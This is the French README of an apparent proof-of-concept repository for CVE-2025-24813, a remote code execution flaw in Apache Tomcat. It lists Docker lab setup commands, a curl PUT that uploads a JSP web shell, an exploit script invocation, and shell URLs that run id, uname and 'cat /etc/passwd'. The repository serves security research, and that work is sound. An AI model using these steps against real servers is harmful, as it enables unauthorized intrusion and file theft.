
Apache Tomcat PUT JSP RCE - CVE-2025-24813 - Exploit & PoC
Ce dépôt contient une preuve de concept (PoC) complète pour CVE-2025-24813, une vulnérabilité d'exécution de code à distance (RCE) dans Apache Tomcat utilisant la méthode HTTP PUT pour déployer un web shell JSP malveillant.
🔥 Cet exploit démontre comment un attaquant peut obtenir une RCE via le téléversement de fichiers et l'exécution d'une charge utile dans des instances Tomcat mal sécurisées.
CVE-2025-24813/
├── docker/
│ ├── Dockerfile
│ └── web.xml
├── exploit/
│ ├── 1_exploit_cve_2025_24813.py
│ └── shell.jsp
├── screenshots/
│ ├── 1_tomcat_running.png
│ ├── 2_docker_started.png
│ ├── 3_upload_shell.png
│ ├── 4_run_python_exploit.png
│ ├── 5_access_shell_whoami.png
│ ├── 6_view_etc_passwd.png
│ ├── 7_run_uname.png
│ ├── 8_run_id.png
│ └── 9_run_pwd.png
├── .gitignore
├── LICENSE
└── README.md
cd docker
sudo docker build -t cve-24813-tomcat .
sudo docker run -it -p 8080:8080 cve-24813-tomcat
📸 
📸 
curl -X PUT --upload-file exploit/shell.jsp http://localhost:8080/shell.jsp
📸 
python3 exploit/1_exploit_cve_2025_24813.py
📸 
http://localhost:8080/shell.jsp?cmd=id
http://localhost:8080/shell.jsp?cmd=uname -a
http://localhost:8080/shell.jsp?cmd=cat /etc/passwd
📸 
📸 
📸 
📸 
📸 
web.xml ou la configuration du serveurCe projet est uniquement destiné à des fins éducatives et de recherche. Tester, exploiter ou utiliser sans autorisation des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas la permission de tester est illégal et contraire à l'éthique.
Shivshant Patil
Certified Ethical Hacker (CEH v13)
Diplômé en génie informatique (B.Tech)
🔗 LinkedIn
🔗 GitHub